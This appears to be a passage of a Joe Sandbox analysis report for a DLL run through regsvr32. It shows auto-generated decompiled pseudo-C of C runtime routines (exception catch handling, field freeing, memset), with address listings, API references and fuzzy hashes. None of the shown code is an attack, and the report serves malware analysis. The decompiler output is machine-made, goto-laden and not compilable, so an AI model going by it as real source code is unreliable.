					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6DADC006(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6DADC006(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6DADC006(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6DADC006(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6DADB2D5(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6DADC2CB(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6DADB129(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6DADC006(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6DADCDC4(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6DADC006(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6DADC006(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6DADC006(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6DADC006(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6DADCDC4(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6DAE01FD(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6DADCA2B( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, 0x6daf4880) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6DADB129(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6DADC9D6( &_v64);
											E6DADD3DA( &_v64, 0x6daf255c);
											L63:
											 *(E6DADC006(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6DADC006(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6DADB4C8(_t279, _t319, _t274);
											E6DADCCC4(_a8, _a16, _t305);
											_t235 = E6DADCE81(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6DADCC3B(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

0x6dadc34b
0x6dadc352
0x6dadc354
0x6dadc35d
0x6dadc363
0x6dadc36b
0x6dadc36d
0x6dadc370
0x6dadc376
0x6dadc6ef
0x6dadc6ef
0x6dadc6f4
0x6dadc6f6
0x6dadc6f8
0x6dadc6fb
0x6dadc6fc
0x6dadc6ff
0x6dadc705
0x6dadc824
0x6dadc70b
0x6dadc70b
0x6dadc70c
0x6dadc70d
0x6dadc714
0x6dadc717
0x6dadc71a
0x6dadc720
0x6dadc722
0x6dadc727
0x6dadc72a
0x6dadc72c
0x6dadc732
0x6dadc734
0x6dadc73a
0x6dadc74f
0x6dadc754
0x6dadc757
0x6dadc759
0x6dadc820
0x00000000
0x6dadc821
0x6dadc759
0x6dadc73a
0x6dadc732
0x6dadc72a
0x6dadc75f
0x6dadc762
0x6dadc765
0x6dadc768
0x6dadc76b
0x6dadc771
0x6dadc783
0x6dadc788
0x6dadc78b
0x6dadc78e
0x6dadc791
0x6dadc794
0x6dadc797
0x6dadc79a
0x00000000
0x00000000
0x6dadc7a0
0x6dadc7a0
0x6dadc7a3
0x6dadc7a6
0x6dadc7b5
0x6dadc7b6
0x6dadc7b6
0x6dadc7b8
0x6dadc7bb
0x00000000
0x00000000
0x6dadc7bd
0x6dadc7c0
0x00000000
0x00000000
0x6dadc7ce
0x6dadc7d0
0x6dadc7d3
0x6dadc7d5
0x6dadc7dd
0x6dadc7dd
0x6dadc7e0
0x6dadc7e2
0x6dadc7e4
0x6dadc800
0x6dadc805
0x6dadc808
0x6dadc808
0x00000000
0x6dadc7e0
0x6dadc7d7
0x6dadc7db
0x00000000
0x00000000
0x00000000
0x6dadc80b
0x6dadc80e
0x6dadc80f
0x6dadc812
0x6dadc815
0x6dadc818
0x6dadc81b
0x6dadc81b
0x00000000
0x6dadc7a6
0x6dadc825
0x6dadc82a
0x6dadc82b
0x6dadc82e
0x6dadc831
0x6dadc832
0x6dadc833
0x6dadc834
0x6dadc837
0x6dadc839
0x6dadc8b1
0x6dadc8b3
0x6dadc8b3
0x6dadc83b
0x6dadc83b
0x6dadc83e
0x6dadc841
0x00000000
0x6dadc843
0x6dadc843
0x6dadc846
0x6dadc849
0x6dadc850
0x6dadc850
0x6dadc853
0x6dadc855
0x6dadc857
0x6dadc889
0x6dadc889
0x6dadc88c
0x6dadc893
0x6dadc893
0x6dadc896
0x6dadc899
0x6dadc8a0
0x6dadc8a0
0x6dadc8a3
0x6dadc8aa
0x6dadc8ac
0x6dadc8ac
0x6dadc8a5
0x6dadc8a5
0x6dadc8a8
0x00000000
0x00000000
0x6dadc8a8
0x6dadc89b
0x6dadc89b
0x6dadc89e
0x00000000
0x00000000
0x6dadc89e
0x6dadc88e
0x6dadc88e
0x6dadc891
0x00000000
0x00000000
0x6dadc891
0x6dadc8ad
0x6dadc859
0x6dadc859
0x6dadc859
0x6dadc85c
0x6dadc85c
0x6dadc85e
0x6dadc860
0x00000000
0x00000000
0x6dadc862
0x6dadc864
0x6dadc878
0x6dadc878
0x6dadc866
0x6dadc866
0x6dadc869
0x6dadc86c
0x00000000
0x6dadc86e
0x6dadc86e
0x6dadc871
0x6dadc874
0x6dadc876
0x00000000
0x00000000
0x00000000
0x00000000
0x6dadc876
0x6dadc86c
0x6dadc881
0x6dadc881
0x6dadc883
0x00000000
0x6dadc885
0x6dadc885
0x6dadc885
0x00000000
0x6dadc883
0x6dadc87c
0x6dadc87e
0x6dadc87e
0x00000000
0x6dadc87e
0x6dadc84b
0x6dadc84b
0x6dadc84e
0x00000000
0x00000000
0x00000000
0x00000000
0x6dadc84e
0x6dadc849
0x6dadc841
0x6dadc8b4
0x6dadc8b8
0x6dadc8b8
0x6dadc385
0x6dadc385
0x6dadc38e
0x6dadc48b
0x6dadc48b
0x6dadc48e
0x00000000
0x6dadc3bd
0x6dadc3bd
0x6dadc3c2
0x00000000
0x6dadc3c8
0x6dadc3c8
0x6dadc3d0
0x6dadc689
0x6dadc68d
0x6dadc3d6
0x6dadc3db
0x6dadc3de
0x6dadc3e3
0x6dadc3ea
0x6dadc3ef
0x00000000
0x6dadc427
0x6dadc42f
0x6dadc493
0x6dadc493
0x6dadc496
0x6dadc499
0x6dadc49b
0x6dadc49e
0x6dadc4a1
0x6dadc4a7
0x6dadc658
0x6dadc658
0x6dadc65b
0x00000000
0x6dadc65d
0x6dadc65d
0x6dadc660
0x00000000
0x6dadc666
0x6dadc666
0x6dadc669
0x6dadc66c
0x6dadc66d
0x6dadc66e
0x6dadc671
0x6dadc672
0x6dadc675
0x6dadc676
0x6dadc67b
0x00000000
0x6dadc67b
0x6dadc660
0x6dadc4ad
0x6dadc4ad
0x6dadc4b1
0x00000000
0x6dadc4b7
0x6dadc4b7
0x6dadc4be
0x6dadc4d6
0x6dadc4d6
0x6dadc4d9
0x6dadc4dc
0x6dadc4e2
0x6dadc4f2
0x6dadc4f7
0x6dadc4fa
0x6dadc4fd
0x6dadc500
0x6dadc503
0x6dadc506
0x6dadc509
0x6dadc50f
0x6dadc50f
0x6dadc512
0x6dadc515
0x6dadc524
0x6dadc525
0x6dadc525
0x6dadc527
0x6dadc52a
0x6dadc530
0x6dadc533
0x6dadc539
0x6dadc53b
0x6dadc53e
0x6dadc541
0x6dadc54a
0x6dadc54d
0x6dadc54f
0x6dadc54f
0x6dadc552
0x6dadc555
0x6dadc558
0x6dadc55b
0x6dadc55e
0x6dadc563
0x6dadc564
0x6dadc565
0x6dadc566
0x6dadc567
0x6dadc56a
0x6dadc56c
0x6dadc56e
0x00000000
0x6dadc570
0x6dadc570
0x6dadc570
0x6dadc573
0x6dadc576
0x6dadc578
0x6dadc579
0x6dadc57e
0x6dadc581
0x6dadc583
0x00000000
0x00000000
0x6dadc585
0x6dadc586
0x6dadc589
0x6dadc58b
0x00000000
0x6dadc58d
0x6dadc58d
0x6dadc590
0x6dadc593
0x00000000
0x6dadc593
0x00000000
0x6dadc58b
0x6dadc5a7
0x6dadc5ad
0x6dadc5ca
0x6dadc5cf
0x6dadc5cf
0x6dadc5d2
0x6dadc5d2
0x00000000
0x6dadc596
0x6dadc596
0x6dadc597
0x6dadc59a
0x6dadc59d
0x6dadc5a0
0x6dadc5a0
0x00000000
0x6dadc5a5
0x6dadc541
0x6dadc533
0x6dadc5d5
0x6dadc5d8
0x6dadc5d9
0x6dadc5dc
0x6dadc5df
0x6dadc5e2
0x6dadc5e5
0x6dadc5e5
0x6dadc5ee
0x6dadc5f1
0x6dadc5f1
0x6dadc509
0x6dadc5f4
0x6dadc5f8
0x6dadc5fa
0x6dadc5fd
0x6dadc603
0x6dadc603
0x6dadc60b
0x6dadc610
0x6dadc67e
0x6dadc67e
0x6dadc683
0x6dadc687
0x00000000
0x00000000
0x00000000
0x00000000
0x6dadc612
0x6dadc612
0x6dadc616
0x6dadc628
0x6dadc62b
0x6dadc62e
0x6dadc630
0x6dadc647
0x6dadc64b
0x6dadc651
0x6dadc652
0x6dadc654
0x00000000
0x6dadc656
0x00000000
0x6dadc656
0x6dadc632
0x6dadc637
0x6dadc63a
0x6dadc63f
0x6dadc642
0x00000000
0x6dadc642
0x6dadc618
0x6dadc61b
0x6dadc61e
0x6dadc620
0x00000000
0x6dadc622
0x6dadc622
0x6dadc626
0x00000000
0x00000000
0x00000000
0x00000000
0x6dadc626
0x6dadc620
0x6dadc616
0x6dadc4c0
0x6dadc4c0
0x6dadc4c7
0x00000000
0x6dadc4c9
0x6dadc4c9
0x6dadc4d0
0x00000000
0x00000000
0x00000000
0x00000000
0x6dadc4d0
0x6dadc4c7
0x6dadc4be
0x6dadc4b1
0x6dadc431
0x6dadc439
0x6dadc43c
0x6dadc441
0x6dadc445
0x6dadc448
0x6dadc44e
0x6dadc451
0x00000000
0x6dadc453
0x6dadc453
0x6dadc456
0x6dadc458
0x6dadc68e
0x6dadc68e
0x00000000
0x6dadc45e
0x6dadc466
0x6dadc471
0x00000000
0x00000000
0x6dadc47a
0x6dadc47d
0x6dadc47e
0x6dadc481
0x6dadc483
0x00000000
0x6dadc489
0x00000000
0x6dadc489
0x00000000
0x6dadc483
0x6dadc45e
0x6dadc693
0x6dadc693
0x6dadc695
0x6dadc696
0x6dadc69d
0x6dadc6a0
0x6dadc6ae
0x6dadc6b3
0x6dadc6b8
0x6dadc6bb
0x6dadc6c0
0x6dadc6c3
0x6dadc6c6
0x6dadc6c8
0x6dadc6ca
0x6dadc6ca
0x6dadc6cf
0x6dadc6db
0x6dadc6e1
0x6dadc6e6
0x6dadc6e9
0x6dadc6ea
0x00000000
0x6dadc6ea
0x6dadc451
0x6dadc42f
0x6dadc3ef
0x6dadc3d0
0x6dadc3c2
0x6dadc38e

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6DADC448
type_info::operator==.LIBVCRUNTIME ref: 6DADC46A
___TypeMatch.LIBVCRUNTIME ref: 6DADC579
CatchIt.LIBVCRUNTIME ref: 6DADC5CA
IsInExceptionSpec.LIBVCRUNTIME ref: 6DADC64B
_UnwindNestedFrames.LIBCMT ref: 6DADC6CF
CallUnexpected.LIBVCRUNTIME ref: 6DADC6EA

Strings

csm, xrefs: 6DADC388
csm, xrefs: 6DADC3F5
csm, xrefs: 6DADC4A1

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: 09103b44a7cd288f80f66ef9b5171ecb727423b79a077048e9a2aa0de305a0bf
Instruction ID: 0f2659ccede4f61f8c02a9a32b97bd9feb3c3b11c8012acdb0c66c3a06c1bc40
Opcode Fuzzy Hash: 09103b44a7cd288f80f66ef9b5171ecb727423b79a077048e9a2aa0de305a0bf
Instruction Fuzzy Hash: B7B1BB7980C20AEFCF44CFA4CA809AEBBB5FF0C314B95515AE9116B211D735DA91CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE0D28 Relevance: 15.1, APIs: 10, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6DAE0D28(void* __ebx, void* __edi, void* __esi, char _a4) {
				void* _v5;
				char _v12;
				char _v16;
				char _v20;
				void* __ebp;
				char _t55;
				char _t61;
				void* _t67;
				intOrPtr _t68;
				void* _t72;
				void* _t73;

				_t73 = __esi;
				_t72 = __edi;
				_t67 = __ebx;
				_t36 = _a4;
				_t68 =  *_a4;
				_t77 = _t68 - 0x6daed230;
				if(_t68 != 0x6daed230) {
					E6DAE10BE(_t68);
					_t36 = _a4;
				}
				E6DAE10BE( *((intOrPtr*)(_t36 + 0x3c)));
				E6DAE10BE( *((intOrPtr*)(_a4 + 0x30)));
				E6DAE10BE( *((intOrPtr*)(_a4 + 0x34)));
				E6DAE10BE( *((intOrPtr*)(_a4 + 0x38)));
				E6DAE10BE( *((intOrPtr*)(_a4 + 0x28)));
				E6DAE10BE( *((intOrPtr*)(_a4 + 0x2c)));
				E6DAE10BE( *((intOrPtr*)(_a4 + 0x40)));
				E6DAE10BE( *((intOrPtr*)(_a4 + 0x44)));
				E6DAE10BE( *((intOrPtr*)(_a4 + 0x360)));
				_v16 =  &_a4;
				_t55 = 5;
				_v12 = _t55;
				_v20 = _t55;
				_push( &_v12);
				_push( &_v16);
				_push( &_v20);
				E6DAE0B54(_t67, _t72, _t73, _t77);
				_v16 =  &_a4;
				_t61 = 4;
				_v20 = _t61;
				_v12 = _t61;
				_push( &_v20);
				_push( &_v16);
				_push( &_v12);
				return E6DAE0BBF(_t67, _t72, _t73, _t77);
			}

0x6dae0d28
0x6dae0d28
0x6dae0d28
0x6dae0d2d
0x6dae0d33
0x6dae0d35
0x6dae0d3b
0x6dae0d3e
0x6dae0d43
0x6dae0d46
0x6dae0d4a
0x6dae0d55
0x6dae0d60
0x6dae0d6b
0x6dae0d76
0x6dae0d81
0x6dae0d8c
0x6dae0d97
0x6dae0da5
0x6dae0db0
0x6dae0db8
0x6dae0db9
0x6dae0dbc
0x6dae0dc2
0x6dae0dc6
0x6dae0dca
0x6dae0dcb
0x6dae0dd5
0x6dae0ddb
0x6dae0ddc
0x6dae0ddf
0x6dae0de5
0x6dae0de9
0x6dae0ded
0x6dae0df4

APIs

_free.LIBCMT ref: 6DAE0D3E

Part of subcall function 6DAE10BE: HeapFree.KERNEL32(00000000,00000000,?,6DAE79F5,00000004,00000000,00000004,?,?,6DAE7A1C,00000004,00000007,00000004,?,6DAE4A49,00000004), ref: 6DAE10D4
Part of subcall function 6DAE10BE: GetLastError.KERNEL32(00000004,?,6DAE79F5,00000004,00000000,00000004,?,?,6DAE7A1C,00000004,00000007,00000004,?,6DAE4A49,00000004,00000004), ref: 6DAE10E6

_free.LIBCMT ref: 6DAE0D4A
_free.LIBCMT ref: 6DAE0D55
_free.LIBCMT ref: 6DAE0D60
_free.LIBCMT ref: 6DAE0D6B
_free.LIBCMT ref: 6DAE0D76
_free.LIBCMT ref: 6DAE0D81
_free.LIBCMT ref: 6DAE0D8C
_free.LIBCMT ref: 6DAE0D97
_free.LIBCMT ref: 6DAE0DA5

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 379ef17fbf5cf2cd2d833b9ac1d505548d7a6d1c88e8db5c35db5bf0d0c99881
Instruction ID: d8bef94ac6044bc71628c9661ac1f7bd8726516539580ba26a9ad4196e3395e1
Opcode Fuzzy Hash: 379ef17fbf5cf2cd2d833b9ac1d505548d7a6d1c88e8db5c35db5bf0d0c99881
Instruction Fuzzy Hash: 3621DC76A08158BFCB01DF94C980DED7BB9FF08284F0141A5F6159B224DB71EA84DF81

Uniqueness

Uniqueness Score: -1.00%

Function 6DADB720 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E6DADB720(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				signed char _v36;
				void* _v40;
				signed int _t77;
				signed int _t84;
				intOrPtr _t85;
				void* _t86;
				intOrPtr* _t87;
				intOrPtr _t89;
				signed int _t91;
				int _t93;
				signed int _t98;
				intOrPtr* _t102;
				intOrPtr _t103;
				signed int _t107;
				char _t109;
				signed int _t113;
				void* _t114;
				intOrPtr _t123;
				void* _t125;
				intOrPtr _t133;
				signed int _t135;
				void* _t139;
				void* _t141;
				void* _t149;

				_t118 = __edx;
				_t102 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t102 = E6DAEAE10(__ecx,  *_t102);
				_t103 = _a8;
				_t6 = _t103 + 0x10; // 0x11
				_t133 = _t6;
				_push(_t133);
				_v20 = _t133;
				_v12 =  *(_t103 + 8) ^  *0x6daf4024;
				E6DADB6E0(_t103, __edx, __edi, _t133,  *(_t103 + 8) ^  *0x6daf4024);
				E6DADCEEC(_a12);
				_t77 = _a4;
				_t141 = _t139 - 0x1c + 0x10;
				_t123 =  *((intOrPtr*)(_t103 + 0xc));
				if(( *(_t77 + 4) & 0x00000066) != 0) {
					__eflags = _t123 - 0xfffffffe;
					if(_t123 != 0xfffffffe) {
						_t118 = 0xfffffffe;
						E6DADD0E0(_t103, 0xfffffffe, _t133, 0x6daf4024);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t77;
					_v28 = _a12;
					 *((intOrPtr*)(_t103 - 4)) =  &_v32;
					if(_t123 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t107 = _v12;
							_t84 = _t123 + (_t123 + 2) * 2;
							_t103 =  *((intOrPtr*)(_t107 + _t84 * 4));
							_t85 = _t107 + _t84 * 4;
							_t108 =  *((intOrPtr*)(_t85 + 4));
							_v24 = _t85;
							if( *((intOrPtr*)(_t85 + 4)) == 0) {
								_t109 = _v5;
								goto L7;
							} else {
								_t118 = _t133;
								_t86 = E6DADD080(_t108, _t133);
								_t109 = 1;
								_v5 = 1;
								_t149 = _t86;
								if(_t149 < 0) {
									_v16 = 0;
									L13:
									_push(_t133);
									E6DADB6E0(_t103, _t118, _t123, _t133, _v12);
									goto L14;
								} else {
									if(_t149 > 0) {
										_t87 = _a4;
										__eflags =  *_t87 - 0xe06d7363;
										if( *_t87 == 0xe06d7363) {
											__eflags =  *0x6daec31c;
											if(__eflags != 0) {
												_t98 = E6DAEA890(__eflags, 0x6daec31c);
												_t141 = _t141 + 4;
												__eflags = _t98;
												if(_t98 != 0) {
													_t135 =  *0x6daec31c; // 0x6dadb129
													 *0x6daec164(_a4, 1);
													 *_t135();
													_t133 = _v20;
													_t141 = _t141 + 8;
												}
												_t87 = _a4;
											}
										}
										_t119 = _t87;
										E6DADD0C0(_t87, _a8, _t87);
										_t89 = _a8;
										__eflags =  *((intOrPtr*)(_t89 + 0xc)) - _t123;
										if( *((intOrPtr*)(_t89 + 0xc)) != _t123) {
											_t119 = _t123;
											E6DADD0E0(_t89, _t123, _t133, 0x6daf4024);
											_t89 = _a8;
										}
										_push(_t133);
										 *((intOrPtr*)(_t89 + 0xc)) = _t103;
										E6DADB6E0(_t103, _t119, _t123, _t133, _v12);
										E6DADD0A0();
										asm("int3");
										asm("int3");
										asm("int3");
										_t113 = _v32;
										_t91 = _v36 & 0x000000ff;
										_t125 = _v40;
										__eflags = _t113;
										if(_t113 == 0) {
											L46:
											return _v40;
										} else {
											_t93 = _t91 * 0x1010101;
											__eflags = _t113 - 0x20;
											if(_t113 <= 0x20) {
												L39:
												__eflags = _t113 & 0x00000003;
												while((_t113 & 0x00000003) != 0) {
													 *_t125 = _t93;
													_t125 = _t125 + 1;
													_t113 = _t113 - 1;
													__eflags = _t113 & 0x00000003;
												}
												__eflags = _t113 & 0x00000004;
												if((_t113 & 0x00000004) != 0) {
													 *_t125 = _t93;
													_t125 = _t125 + 4;
													_t113 = _t113 - 4;
													__eflags = _t113;
												}
												__eflags = _t113 & 0xfffffff8;
												while((_t113 & 0xfffffff8) != 0) {
													 *_t125 = _t93;
													 *(_t125 + 4) = _t93;
													_t125 = _t125 + 8;
													_t113 = _t113 - 8;
													__eflags = _t113 & 0xfffffff8;
												}
												goto L46;
											} else {
												__eflags = _t113 - 0x80;
												if(__eflags < 0) {
													L33:
													asm("bt dword [0x6daf4014], 0x1");
													if(__eflags >= 0) {
														goto L39;
													} else {
														asm("movd xmm0, eax");
														asm("pshufd xmm0, xmm0, 0x0");
														goto L35;
													}
												} else {
													asm("bt dword [0x6daf4fe4], 0x1");
													if(__eflags >= 0) {
														asm("bt dword [0x6daf4014], 0x1");
														if(__eflags >= 0) {
															goto L39;
														} else {
															asm("movd xmm0, eax");
															asm("pshufd xmm0, xmm0, 0x0");
															_t114 = _t125 + _t113;
															asm("movups [edi], xmm0");
															_t125 = _t125 + 0x00000010 & 0xfffffff0;
															_t113 = _t114 - _t125;
															__eflags = _t113 - 0x80;
															if(__eflags <= 0) {
																goto L33;
															} else {
																do {
																	asm("movdqa [edi], xmm0");
																	asm("movdqa [edi+0x10], xmm0");
																	asm("movdqa [edi+0x20], xmm0");
																	asm("movdqa [edi+0x30], xmm0");
																	asm("movdqa [edi+0x40], xmm0");
																	asm("movdqa [edi+0x50], xmm0");
																	asm("movdqa [edi+0x60], xmm0");
																	asm("movdqa [edi+0x70], xmm0");
																	_t125 = _t125 + 0x80;
																	_t113 = _t113 - 0x80;
																	__eflags = _t113 & 0xffffff00;
																} while ((_t113 & 0xffffff00) != 0);
																L35:
																__eflags = _t113 - 0x20;
																if(_t113 < 0x20) {
																	L38:
																	asm("movdqu [edi], xmm0");
																	asm("movdqu [edi+0x10], xmm0");
																	return _v40;
																} else {
																	do {
																		asm("movdqu [edi], xmm0");
																		asm("movdqu [edi+0x10], xmm0");
																		_t125 = _t125 + 0x20;
																		_t113 = _t113 - 0x20;
																		__eflags = _t113 - 0x20;
																	} while (_t113 >= 0x20);
																	__eflags = _t113 & 0x0000001f;
																	if((_t113 & 0x0000001f) == 0) {
																		goto L46;
																	} else {
																		goto L38;
																	}
																}
															}
														}
													} else {
														memset(_t125, _t93, _t113 << 0);
														return _v40;
													}
												}
											}
										}
									} else {
										goto L7;
									}
								}
							}
							goto L47;
							L7:
							_t123 = _t103;
						} while (_t103 != 0xfffffffe);
						if(_t109 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L47:
			}

0x6dadb720
0x6dadb727
0x6dadb72b
0x6dadb72c
0x6dadb732
0x6dadb73e
0x6dadb740
0x6dadb746
0x6dadb746
0x6dadb74f
0x6dadb751
0x6dadb754
0x6dadb757
0x6dadb75f
0x6dadb764
0x6dadb767
